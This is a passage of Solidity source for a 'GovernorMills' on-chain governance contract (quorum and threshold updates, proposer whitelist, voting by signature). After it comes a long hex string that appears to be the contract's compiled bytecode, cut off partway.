require(msg.sender == guardian || msg.sender == address(timelock), "GovernorMills::updateProposalThreshold: sender must be gov guardian or timelock");
require(newThreshold <= inv.totalSupply(), "GovernorMills::updateProposalThreshold: threshold too large");
require(newThreshold != proposalThreshold, "GovernorMills::updateProposalThreshold: no change in value");
uint256 oldThreshold = proposalThreshold;
proposalThreshold = newThreshold;
emit ProposalThresholdUpdated(oldThreshold, newThreshold);
}
/**
* @notice Update the quorum value required to pass a proposal.
* @param newQuorum The new quorum to set.
*/
function updateProposalQuorum(uint256 newQuorum) public {
require(msg.sender == guardian || msg.sender == address(timelock), "GovernorMills::newQuorum: sender must be gov guardian or timelock");
require(newQuorum <= inv.totalSupply(), "GovernorMills::newQuorum: threshold too large");
require(newQuorum != quorumVotes, "GovernorMills::newQuorum: no change in value");
uint256 oldQuorum = quorumVotes;
quorumVotes = newQuorum;
emit QuorumUpdated(oldQuorum, newQuorum);
}
function acceptAdmin() public {
require(msg.sender == guardian, "GovernorMills::acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
/**
* @notice Add or remove an address to the proposerWhitelist
* @param proposer address to be updated on the whitelist
* @param value true to add, false to remove
*/
function updateProposerWhitelist(address proposer, bool value) public {
require(msg.sender == address(timelock), "GovernorMills::updateProposerWhitelist: sender must be timelock");
proposerWhitelist[proposer] = value;
emit ProposerWhitelistUpdated(proposer, value);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorMills::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorMills::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorMills::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorMills::_castVote: voter already voted");
uint96 votes = _getPriorVotes(voter, proposal.startBlock, xinvExchangeRates[proposal.id]);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function add96(uint96 a, uint96 b) internal pure returns(uint96) {
uint96 c = a + b;
require(c >= a, "addition overflow");
return c;
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
} | 0x608060405234801561001057600080fd5b50600436106101fb5760003560e01c8063452a93201161011a578063b58131b0116100ad578063ddf0b0091161007c578063ddf0b00914610599578063deaaa7cc146105b5578063e23a9a52146105d3578063ed4be8ae14610603578063fe0d94c114610633576101fb565b8063b58131b01461050f578063d33219b41461052d578063da35c6641461054b578063da95691a14610569576101fb565b80637bdbe4d0116100e95780637bdbe4d01461049b5780638a0dac4a146104b957806390df22ed146104d557806391500671146104f3576101fb565b8063452a9320146104155780634634c61f1461043357806357ad62791461044f5780636feecb331461046b576101fb565b806321f43e42116101925780633932abb1116101615780633932abb11461038f5780633e4f49e6146103ad5780633f84d0ee146103dd57806340e58ee5146103f9576101fb565b806321f43e421461030657806324bc1a6414610322578063328dd9821461034057806334bc456014610373576101fb565b80630e18b681116101ce5780630e18b6811461029257806315373e3d1461029c57806317977c61146102b857806320606b70146102e8576101fb565b8063013cf08b1461020057806302a251a314610238578063032d09611461025657806306fdde0314610274575b600080fd5b61021a60048036036102159190810190613c67565b61064f565b60405161022f99989796959493929190615951565b60405180910390f35b6102406106d7565b60405161024d9190615886565b60405180910390f35b61025e6106e1565b60405161026b919061545d565b60405180910390f35b61027c610707565b60405161028991906154c9565b60405180910390f35b61029a610740565b005b6102b660048036036102b19190810190613cf5565b610853565b005b6102d260048036036102cd9190810190613a44565b610862565b6040516102df9190615886565b60405180910390f35b6102f061087a565b6040516102fd9190615381565b60405180910390f35b610320600480360361031b9190810190613aa9565b610891565b005b61032a610a1e565b6040516103379190615886565b60405180910390f35b61035a60048036036103559190810190613c67565b610a24565b60405161036a9493929190615305565b60405180910390f35b61038d60048036036103889190810190613a6d565b610d01565b005b610397610e24565b6040516103a49190615886565b60405180910390f35b6103c760048036036103c29190810190613c67565b610e2d565b6040516103d491906154ae565b60405180910390f35b6103f760048036036103f29190810190613c67565b61100c565b005b610413600480360361040e9190810190613c67565b611265565b005b61041d6115eb565b60405161042a9190615132565b60405180910390f35b61044d60048036036104489190810190613d31565b611611565b005b61046960048036036104649190810190613c67565b6117e0565b005b61048560048036036104809190810190613c67565b611a39565b6040516104929190615886565b60405180910390f35b6104a3611a51565b6040516104b09190615886565b60405180910390f35b6104d360048036036104ce9190810190613a44565b611a5a565b005b6104dd611b87565b6040516104ea9190615493565b60405180910390f35b61050d60048036036105089190810190613aa9565b611bad565b005b610517611d35565b6040516105249190615886565b60405180910390f35b610535611d3b565b6040516105429190615478565b60405180910390f35b610553611d60565b6040516105609190615886565b60405180910390f35b610583600480360361057e9190810190613ae5565b611d66565b6040516105909190615886565b60405180910390f35b6105b360048036036105ae9190810190613c67565b61243e565b005b6105bd61278d565b6040516105ca9190615381565b60405180910390f35b6105ed60048036036105e89190810190613cb9565b6127a4565b6040516105fa919061586b565b60405180910390f35b61061d60048036036106189190810190613a44565b612886565b60405161062a9190615366565b60405180910390f35b61064d60048036036106489190810190613c67565b6128a6565b005b60076020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169080600201549080600701549080600801549080600901549080600a01549080600b0160009054906101000a900460ff169080600b0160019054906101000a900460ff16905089565b6000614380905090565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040518060400160405280601681526020017f496e766572736520476f7665726e6f72204d696c6c730000000000000000000081525081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146107d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107c7906156ab565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630e18b6816040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561083957600080fd5b505af115801561084d573d6000803e3d6000fd5b50505050565b61085e338383612ad9565b5050565b60086020528060005260406000206000915090505481565b60405161088690615108565b604051809103902081565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610921576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109189061558b565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000856040516020016109939190615132565b604051602081830303815290604052856040518563ffffffff1660e01b81526004016109c29493929190615176565b600060405180830381600087803b1580156109dc57600080fd5b505af11580156109f0573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250610a199190810190613c26565b505050565b60065481565b60608060608060006007600087815260200190815260200160002090508060030181600401826005018360060183805480602002602001604051908101604052809291908181526020018280548015610ad257602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610a88575b5050505050935082805480602002602001604051908101604052809291908181526020018280548015610b2457602002820191906000526020600020905b815481526020019060010190808311610b10575b5050505050925081805480602002602001604051908101604052809291908181526020016000905b82821015610c08578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610bf45780601f10610bc957610100808354040283529160200191610bf4565b820191906000526020600020905b815481529060010190602001808311610bd757829003601f168201915b505050505081526020019060010190610b4c565b50505050915080805480602002602001604051908101604052809291908181526020016000905b82821015610ceb578382906000526020600020018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610cd75780601f10610cac57610100808354040283529160200191610cd7565b820191906000526020600020905b815481529060010190602001808311610cba57829003601f168201915b505050505081526020019060010190610c2f565b5050505090509450945094509450509193509193565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610d90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d879061566b565b60405180910390fd5b80600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f25a436f26283d101d1fa18501ce983f57b6ca623fe00f4e9b6ad829d15e9dbab8282604051610e1892919061514d565b60405180910390a15050565b60006001905090565b60008160035410158015610e415750600082115b610e80576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e779061572b565b60405180910390fd5b600060076000848152602001908152602001600020905080600b0160009054906101000a900460ff1615610eb8576002915050611007565b80600701544311610ecd576000915050611007565b80600801544311610ee2576001915050611007565b80600a01548160090154111580610efe57506006548160090154105b15610f0d576003915050611007565b600081600201541415610f24576004915050611007565b80600b0160019054906101000a900460ff1615610f45576007915050611007565b610ff181600201546000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c1a287e26040518163ffffffff1660e01b815260040160206040518083038186803b158015610fb457600080fd5b505afa158015610fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250610fec9190810190613c90565b612d1d565b4210611001576006915050611007565b60059150505b919050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806110b457506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6110f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ea9061580b565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561115b57600080fd5b505afa15801561116f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506111939190810190613c90565b8111156111d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111cc9061554b565b60405180910390fd5b60065481141561121a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112119061550b565b60405180910390fd5b60006006549050816006819055507f6784e9bcb845caaa98267d7b0918f97d3d17f7cb35a05b52010f7eb587a0acb081836040516112599291906159de565b60405180910390a15050565b600061127082610e2d565b905060078081111561127e57fe5b81600781111561128a57fe5b14156112cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c29061556b565b60405180910390fd5b6000600760008481526020019081526020016000209050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480611416575060055461138c8260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661136f436001612d72565b600a60008660000154815260200190815260200160002054612dc2565b6bffffffffffffffffffffffff161080156114155750600960008260010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b5b611455576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161144c9061576b565b60405180910390fd5b600181600b0160006101000a81548160ff02191690831515021790555060008090505b81600301805490508110156115ae576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663591fcdfe8360030183815481106114d357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684600401848154811061150d57fe5b906000526020600020015485600501858154811061152757fe5b9060005260206000200186600601868154811061154057fe5b9060005260206000200187600201546040518663ffffffff1660e01b815260040161156f9594939291906152a4565b600060405180830381600087803b15801561158957600080fd5b505af115801561159d573d6000803e3d6000fd5b505050508080600101915050611478565b507f789cf55be980739dad1d0699b93b58e806b51c9d96619bfa8fe0a28abaa7b30c836040516115de9190615886565b60405180910390a1505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600060405161161f90615108565b60405180910390206040518060400160405280601681526020017f496e766572736520476f7665726e6f72204d696c6c73000000000000000000008152508051906020012061166c612f5b565b30604051602001611680949392919061539c565b60405160208183030381529060405280519060200120905060006040516116a69061511d565b604051809103902087876040516020016116c2939291906153e1565b604051602081830303815290604052805190602001209050600082826040516020016116ef9291906150d1565b60405160208183030381529060405280519060200120905060006001828888886040516000815260200160405260405161172c9493929190615418565b6020604051602081039080840390855afa15801561174e573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156117ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117c1906154eb565b60405180910390fd5b6117d5818a8a612ad9565b505050505050505050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16148061188857506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6118c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118be9061568b565b60405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561192f57600080fd5b505afa158015611943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506119679190810190613c90565b8111156119a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a0906157ab565b60405180910390fd5b6005548114156119ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e5906157cb565b60405180910390fd5b60006005549050816005819055507fe92242fc3efcad407a677132b517977331a6e5b65abab69fd757cc02e99c9c4e8183604051611a2d9291906159de565b60405180910390a15050565b600a6020528060005260406000206000915090505481565b60006014905090565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611aea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ae1906155cb565b60405180910390fd5b80600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fb6182387b7ea948602a7e04e662a27ce251dc3dd014eacaed10dce36b41bf1a5600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16604051611b7c9190615132565b60405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c3d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c349061578b565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f9016000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600085604051602001611caf9190615132565b604051602081830303815290604052856040518563ffffffff1660e01b8152600401611cde9493929190615176565b602060405180830381600087803b158015611cf857600080fd5b505af1158015611d0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611d309190810190613bfd565b505050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60035481565b6000600554611e2133611d7a436001612d72565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd6d894d6040518163ffffffff1660e01b8152600401602060405180830381600087803b158015611de457600080fd5b505af1158015611df8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250611e1c9190810190613c90565b612dc2565b6bffffffffffffffffffffffff161180611e845750600960003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611ec3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eba9061560b565b60405180910390fd5b84518651148015611ed5575083518651145b8015611ee2575082518651145b611f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f189061552b565b60405180910390fd5b600086511415611f66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f5d9061584b565b60405180910390fd5b611f6e611a51565b86511115611fb1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fa8906157eb565b60405180910390fd5b6000600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050600081146120c057600061200882610e2d565b90506001600781111561201757fe5b81600781111561202357fe5b1415612064576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205b9061562b565b60405180910390fd5b6000600781111561207157fe5b81600781111561207d57fe5b14156120be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120b5906155eb565b60405180910390fd5b505b60006120d3436120ce610e24565b612d1d565b905060006120e8826120e36106d7565b612d1d565b90506003600081548092919060010191905055506121046131ad565b604051806101a0016040528060035481526020013373ffffffffffffffffffffffffffffffffffffffff168152602001600081526020018b81526020018a815260200189815260200188815260200184815260200183815260200160008152602001600081526020016000151581526020016000151581525090508060076000836000015181526020019081526020016000206000820151816000015560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060408201518160020155606082015181600301908051906020019061220e92919061322f565b50608082015181600401908051906020019061222b9291906132b9565b5060a0820151816005019080519060200190612248929190613306565b5060c0820151816006019080519060200190612265929190613366565b5060e082015181600701556101008201518160080155610120820151816009015561014082015181600a015561016082015181600b0160006101000a81548160ff02191690831515021790555061018082015181600b0160016101000a81548160ff021916908315150217905550905050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663bd6d894d6040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561234057600080fd5b505af1158015612354573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506123789190810190613c90565b600a60008360000151815260200190815260200160002081905550806000015160086000836020015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055507f7d84a6263ae0d98d3329bd7b46bb4e8d6f98cd35a7adb45c274c8b7fd5ebd5e08160000151338c8c8c8c89898e604051612422999897969594939291906158a1565b60405180910390a1806000015194505050505095945050505050565b6004600781111561244b57fe5b61245482610e2d565b600781111561245f57fe5b1461249f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124969061570b565b60405180910390fd5b60006007600083815260200190815260200160002090506000612560426000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636a42b8f86040518163ffffffff1660e01b815260040160206040518083038186803b15801561252357600080fd5b505afa158015612537573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525061255b9190810190613c90565b612d1d565b905060008090505b82600301805490508110156127455761273883600301828154811061258957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460040183815481106125c357fe5b90600052602060002001548560050184815481106125dd57fe5b906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561267b5780601f106126505761010080835404028352916020019161267b565b820191906000526020600020905b81548152906001019060200180831161265e57829003601f168201915b505050505086600601858154811061268f57fe5b906000526020600020018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561272d5780601f106127025761010080835404028352916020019161272d565b820191906000526020600020905b81548152906001019060200180831161271057829003601f168201915b505050505086612f68565b8080600101915050612568565b508082600201819055507f9a2e42fd6722813d69113e7d0079d3d940171428df7373df9c7f7617cfda289283826040516127809291906159de565b60405180910390a1505050565b6040516127999061511d565b604051809103902081565b6127ac6133c6565b60076000848152602001908152602001600020600c0160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206040518060600160405290816000820160009054906101000a900460ff161515151581526020016000820160019054906101000a900460ff161515151581526020016000820160029054906101000a90046bffffffffffffffffffffffff166bffffffffffffffffffffffff166bffffffffffffffffffffffff1681525050905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b600560078111156128b357fe5b6128bc82610e2d565b60078111156128c757fe5b14612907576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128fe906155ab565b60405180910390fd5b6000600760008381526020019081526020016000209050600181600b0160016101000a81548160ff02191690831515021790555060008090505b8160030180549050811015612a9d576000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16630825f38f83600301838154811061299c57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168460040184815481106129d657fe5b90600052602060002001548560050185815481106129f057fe5b90600052602060002001866006018681548110612a0957fe5b9060005260206000200187600201546040518663ffffffff1660e01b8152600401612a389594939291906152a4565b600060405180830381600087803b158015612a5257600080fd5b505af1158015612a66573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f82011682018060405250612a8f9190810190613c26565b508080600101915050612941565b507f712ae1383f79ac853f8d882153778e0260ef8f03b504e2866e0593e04d2b291f82604051612acd9190615886565b60405180910390a15050565b60016007811115612ae657fe5b612aef83610e2d565b6007811115612afa57fe5b14612b3a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b31906156eb565b60405180910390fd5b6000600760008481526020019081526020016000209050600081600c0160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000209050600015158160000160009054906101000a900460ff16151514612bee576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612be59061564b565b60405180910390fd5b6000612c16868460070154600a60008760000154815260200190815260200160002054612dc2565b90508315612c4757612c3a8360090154826bffffffffffffffffffffffff16612d1d565b8360090181905550612c6c565b612c6383600a0154826bffffffffffffffffffffffff16612d1d565b83600a01819055505b60018260000160006101000a81548160ff021916908315150217905550838260000160016101000a81548160ff021916908315150217905550808260000160026101000a8154816bffffffffffffffffffffffff02191690836bffffffffffffffffffffffff1602179055507f877856338e13f63d0c36822ff0ef736b80934cd90574a3a5bc9262c39d217c4686868684604051612d0d94939291906151fe565b60405180910390a1505050505050565b600080828401905083811015612d68576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d5f906156cb565b60405180910390fd5b8091505092915050565b600082821115612db7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612dae9061582b565b60405180910390fd5b818303905092915050565b600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe186866040518363ffffffff1660e01b8152600401612e229291906151d5565b60206040518083038186803b158015612e3a57600080fd5b505afa158015612e4e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612e729190810190613da8565b90506000670de0b6b3a764000084600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663782d6fe189896040518363ffffffff1660e01b8152600401612edd9291906151d5565b60206040518083038186803b158015612ef557600080fd5b505afa158015612f09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250612f2d9190810190613da8565b6bffffffffffffffffffffffff160281612f4357fe5b049050612f50828261313c565b925050509392505050565b6000804690508091505090565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f2b065378686868686604051602001612fbe959493929190615243565b604051602081830303815290604052805190602001206040518263ffffffff1660e01b8152600401612ff09190615381565b60206040518083038186803b15801561300857600080fd5b505afa15801561301c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506130409190810190613bd4565b15613080576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016130779061574b565b60405180910390fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16633a66f90186868686866040518663ffffffff1660e01b81526004016130e2959493929190615243565b602060405180830381600087803b1580156130fc57600080fd5b505af1158015613110573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052506131349190810190613bfd565b505050505050565b6000808284019050836bffffffffffffffffffffffff16816bffffffffffffffffffffffff1610156131a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161319a906156cb565b60405180910390fd5b8091505092915050565b604051806101a0016040528060008152602001600073ffffffffffffffffffffffffffffffffffffffff1681526020016000815260200160608152602001606081526020016060815260200160608152602001600081526020016000815260200160008152602001600081526020016000151581526020016000151581525090565b8280548282559060005260206000209081019282156132a8579160200282015b828111156132a75782518260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055509160200191906001019061324f565b5b5090506132b591906133f9565b5090565b8280548282559060005260206000209081019282156132f5579160200282015b828111156132f45782518255916020019190600101906132d9565b5b509050613302919061343c565b5090565b828054828255906000526020600020908101928215613355579160200282015b82811115613354578251829080519060200190613344929190613461565b5091602001919060010190613326565b5b50905061336291906134e1565b5090565b8280548282559060005260206000209081019282156133b5579160200282015b828111156133b45782518290805190602001906133a492919061350d565b5091602001919060010190613386565b5b5090506133c2919061358d565b5090565b604051806060016040528060001515815260200160001515815260200160006bffffffffffffffffffffffff1681525090565b61343991905b8082111561343557600081816101000a81549073ffffffffffffffffffffffffffffffffffffffff0219169055506001016133ff565b5090565b90565b61345e91905b8082111561345a576000816000905550600101613442565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106134a257805160ff19168380011785556134d0565b828001600101855582156134d0579182015b828111156134cf5782518255916020019190600101906134b4565b5b5090506134dd919061343c565b5090565b61350a91905b8082111561350657600081816134fd91906135b9565b506001016134e7565b5090565b90565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061354e57805160ff191683800117855561357c565b8280016001018555821561357c579182015b8281111561357b578251825591602001919060010190613560565b5b509050613589919061343c565b5090565b6135b691905b808211156135b257600081816135a99190613601565b50600101613593565b5090565b90565b50805460018160011615610100020316600290046000825580601f106135df57506135fe565b601f0160209004906000526020600020908101906135fd919061343c565b5b50565b50805460018160011615610100020316600290046000825580601f106136275750613646565b601f016020900490600052602060002090810190613645919061343c565b5b50565b60008135905061365881615ed9565b92915050565b600082601f83011261366f57600080fd5b813561368261367d82615a34565b615a07565b915081818352602084019350602081019050838560208402820111156136a757600080fd5b60005b838110156136d757816136bd8882613649565b8452602084019350602083019250506001810190506136aa565b5050505092915050565b600082601f8301126136f257600080fd5b813561370561370082615a5c565b615a07565b9150818183526020840193506020810190508360005b8381101561374b578135860161373188826138a0565b84526020840193506020830192505060018101905061371b565b5050505092915050565b600082601f83011261376657600080fd5b813561377961377482615a84565b615a07565b9150818183526020840193506020810190508360005b838110156137bf57813586016137a58882613948565b84526020840193506020830192505060018101905061378f565b5050505092915050565b600082601f8301126137da57600080fd5b81356137ed6137e882615aac565b615a07565b9150818183526020840193506020810190508385602084028201111561381257600080fd5b60005b83811015613842578161382888826139f0565b845260208401935060208301925050600181019050613815565b5050505092915050565b60008135905061385b81615ef0565b92915050565b60008151905061387081615ef0565b92915050565b60008135905061388581615f07565b92915050565b60008151905061389a81615f07565b92915050565b600082601f8301126138b157600080fd5b81356138c46138bf82615ad4565b615a07565b915080825260208301602083018583830111156138e057600080fd5b6138eb838284615e6f565b50505092915050565b600082601f83011261390557600080fd5b815161391861391382615b00565b615a07565b9150808252602083016020830185838301111561393457600080fd5b61393f838284615e7e565b50505092915050565b600082601f83011261395957600080fd5b813561396c61396782615b2c565b615a07565b9150808252602083016020830185838301111561398857600080fd5b613993838284615e6f565b50505092915050565b600082601f8301126139ad57600080fd5b81356139c06139bb82615b58565b615a07565b915080825260208301602083018583830111156139dc57600080fd5b6139e7838284615e6f565b50505092915050565b6000813590506139ff81615f1e565b92915050565b600081519050613a1481615f1e565b92915050565b600081359050613a2981615f35565b92915050565b600081519050613a3e81615f4c565b92915050565b600060208284031215613a5